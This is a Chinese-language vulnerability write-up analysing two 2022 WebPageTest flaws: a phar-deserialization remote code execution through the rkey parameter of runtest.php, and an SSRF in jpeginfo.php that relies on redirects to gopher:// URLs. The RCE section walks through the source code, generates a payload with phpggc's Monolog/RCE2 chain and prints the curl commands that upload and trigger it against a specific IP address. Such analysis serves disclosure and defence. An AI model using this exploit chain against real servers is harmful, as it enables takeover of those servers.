WebPageTest
WebPageTest是一款非常专业的 Web 页面性能分析工具,它可以对检测分析的环境配置进行高度自定义化。2022年9月23日互联网上公开WebPageTest的多个漏洞。攻击者可利用runtest.php,构造恶意请求触发phar反序列化,执行任意代码控制服务器。同时可以借助jeeginfo.php触发ssrf漏洞,从而扫描内网获取敏感信息。本次要分析的两个漏洞源于阿里云漏洞库,编号分别为AVD-2022-1474319和AVD-2022-1474320。
AVD-2022-1474319
这是一个触发phar反序列化从而导致恶意代码执行的漏洞。
github的修复提交:https://github.com/WPO-Foundation/webpagetest/commit/6c8e1e675af09fe49fb0580354534feb6b105c95
根据修复可以大概猜到,该漏洞是由于rkey参数过滤不严导致的。下面是对该漏洞的一个具体分析。
漏洞发生在www/runtest.php中的RelayTest函数中。
function RelayTest()
{
global $error;
global $locations;
$error = null;
$ret = array();
$ret['statusCode'] = 200;
$rkey = $_POST['rkey'];
$test = json_decode($_POST['testinfo'], true);
$test['vd'] = '';
$test['vh'] = '';
$job = trim($_POST['job']);
$ini = trim($_POST['ini']);
$location = trim($_POST['location']);
$test['workdir'] = $locations[$location]['localDir'];
ValidateKey($test, $error, $rkey);
if( !isset($error) )
{
$id = $rkey . '.' . $test['id'];
$ret['id'] = $id;
$test['job'] = $rkey . '.' . $test['job'];
$testPath = './' . GetTestPath($id);
@mkdir($testPath, 0777, true);
$job = str_replace($test['id'], $id, $job);
file_put_contents("$testPath/testinfo.ini", $ini);
WriteJob($location, $test, $job, $id);
SaveTestInfo($id, $test);
}
if( isset($error) )
{
$ret['statusCode'] = 400;
$ret['statusText'] = "Relay: $error";
}
header ("Content-type: application/json");
echo json_encode($ret);
}
该函数中rkey参数可以被用来写入ini文件,ini文件的内容也是可控且没有过滤的。因此可以考虑写入一个phar文件,进而想办法触发phar反序列化。触发phar反序列化并RCE需要以下条件:
- 可以写入phar文件,并且知道文件的位置
- 具有可以触发phar协议的函数
- 有适当的class可以被用来触发反序列化并导致代码执行
目前第1个条件是满足的,继续深入研究rkey的处理过程可以发现条件2也可以满足。
对rkey的处理过程如下:
if( !isset($error) )
{
$id = $rkey . '.' . $test['id'];
$ret['id'] = $id;
$test['job'] = $rkey . '.' . $test['job'];
$testPath = './' . GetTestPath($id);
@mkdir($testPath, 0777, true);
$job = str_replace($test['id'], $id, $job);
file_put_contents("$testPath/testinfo.ini", $ini);
WriteJob($location, $test, $job, $id);
SaveTestInfo($id, $test);
}
该部分将rkey参数写入id参数,id参数交给savetestinfo函数处理。rkey相当于一个文件路径的前缀,文件路径的形式是xxx.xxx。
接下来跟进SaveTestInfo函数,在SaveTestInfo函数中,恰好有可以触发phar协议的函数,也就是is_dir。如果$testPath的值为phar://xxx/xxx/xxx的形式,就可以触发phar协议,读取到我们构造的特定的testinfo.ini,从而打到反序列化的目的。
function SaveTestInfo($testIdOrPath, &$testInfo) {
if (isset($testInfo) && is_array($testInfo) &&
isset($testIdOrPath) && strlen($testIdOrPath)) {
$testPath = $testIdOrPath;
if (strpos($testPath, '/') === false) {
$id = $testPath;
$testPath = '';
if (ValidateTestId($id))
$testPath = './' . GetTestPath($id);
}
if (is_dir($testPath)) {
$testPath = realpath($testPath);
$lock = Lock("Test Info $testPath");
if ($lock) {
gz_file_put_contents("$testPath/testinfo.json", json_encode($testInfo));
Unlock($lock);
}
}
}
}
顺便总结下能触发phar协议的函数
- fimeatime / filectime / filemtime
- stat / fileinode / fileowner / filegroup / fileperms
- file / file_get_contents / readfile / fopen
- file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable
- parse_ini_file
- unlink
- copy
满足了前两个条件,现在只需要解决POP链这一个问题了。SaveTestInfo函数存在于commo_lib.inc文件中,inc文件需要spl_autoloaded_register来实现类的加载,因此可以找到spl_autoloaded_register函数所在的位置,看一看有哪些class会被加载。恰好在www/lib/aws/aws-autoloader.php中调用了spl_autoloaded_register,并且加载了monolog。monolog是一个PHP编写的日志应用,有很多的POP链可以用。可以借助phpggc来生成payload。
至此,所有触发phar反序列化的条件都满足了,后面主要是注意一些细节。比如借助rkey参数生成的路径是xx.的形式,末尾有一个小数点,所以在触发的时候需要注意。
借助phpggc程序生成执行id命令的phar文件并发送:
./phpggc Monolog/RCE2 system 'id' -p phar -o testinfo.ini
#进行url编码
URLENC_PAYLOAD=$(cat /tmp/testinfo.ini | xxd -p | tr -d "\n" | sed "s#..#%&#g")
#写入文件
curl -sSkig 'http://43.152.206.162/runtest.php' -d 'rkey=gadget' -d "ini=$URLENC_PAYLOAD" -o -
#触发反序列化
curl -sSkig 'http://43.152.206.162/runtest.php' -d 'rkey=phar:///var/www/html/results/gadget./testinfo.ini/foo' -d "ini=$URLENC_PAYLOAD" -o -
下面是攻击的效果,可以看到成功执行了id命令。
AVD-2022-1474320
这是一个SSRF漏洞,漏洞产生在www/jpeginfo/jpeginfo.php文件中。
该部分接受了一个url参数,通过将该参数的值进行sha1处理,并将得到的值每4个字符分为一组,可以得到一个文件存储的路径,具体处理过程见GetPath函数。
if (array_key_exists('url', $_REQUEST) &&
strlen($_REQUEST['url'])) {
$url = trim($_REQUEST['url']);
echo "<!DOCTYPE html>\n<html>\n<head>\n</head>\n<body>\n";
echo "JPEG Analysis for " . htmlspecialchars($url) . "<br><br>";
$id = sha1($url);
$path = GetPath($id);
if (!is_file($path))
GetUrl($url, $path);
if (is_file($path))
AnalyzeFile($path);
echo "</body>\n</html>";
}
GetPath函数内容如下:
function GetPath($id) {
if (!is_dir('./results/jpeginfo'))
mkdir('./results/jpeginfo');
$path = realpath('./results/jpeginfo') . '/' . implode('/', str_split(trim($id), 4));
return $path;
}
得到路径之后,会执行GetUrl操作。该函数主要是判断用到的协议是不是http协议,如果url的开头不是http,则会自动加上http://,因此url必须是http://开头才有机会被利用。
function GetUrl($url, $path) {
$ret = false;
if (strlen($url)) {
if (strcasecmp(substr($url, 0, 4), 'http'))
$url = "http://$url";
global $imageFile;
$dir = dirname($path);
if (!is_dir($dir))
mkdir($dir, 0777, true);
$imageFile = fopen($path, 'w');
if ($imageFile !== false) {
if (FetchUrl($url)) {
fclose($imageFile);
if (filesize($path))
$ret = true;
} else {
fclose($imageFile);
echo "Error fetching " . htmlspecialchars($url);
}
if (!$ret)
unlink($path);
} else
echo "Error creating temp file";
} else
echo "Invalid URL";
return $ret;
}
在处理完UR来的格式之后会创建对应的目录,并执行FetchUrl的操作。该函数主要是通过curl访问目标url得到相应的内容。
function FetchUrl($url) {
$ret = false;
if (function_exists('curl_init')) {
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)');
curl_setopt($curl, CURLOPT_FILETIME, true);
curl_setopt($curl, CURLOPT_FAILONERROR, true);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 30);
curl_setopt($curl, CURLOPT_DNS_CACHE_TIMEOUT, 30);
curl_setopt($curl, CURLOPT_MAXREDIRS, 10);
curl_setopt($curl, CURLOPT_TIMEOUT, 30);
curl_setopt($curl, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
curl_setopt($curl, CURLOPT_WRITEFUNCTION, 'WriteCallback');
if (curl_exec($curl) !== false)
$ret = true;
curl_close($curl);
}
return $ret;
}
值得注意的是,curl中设置了允许重定向:
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
如果我们设置一个恶意的服务器,该服务器某个url被访问之后会给出一个类似于下面的响应header:
Location: gopher://xxx:port
则可以借助gopher协议触发SSRF漏洞,探测内网信息。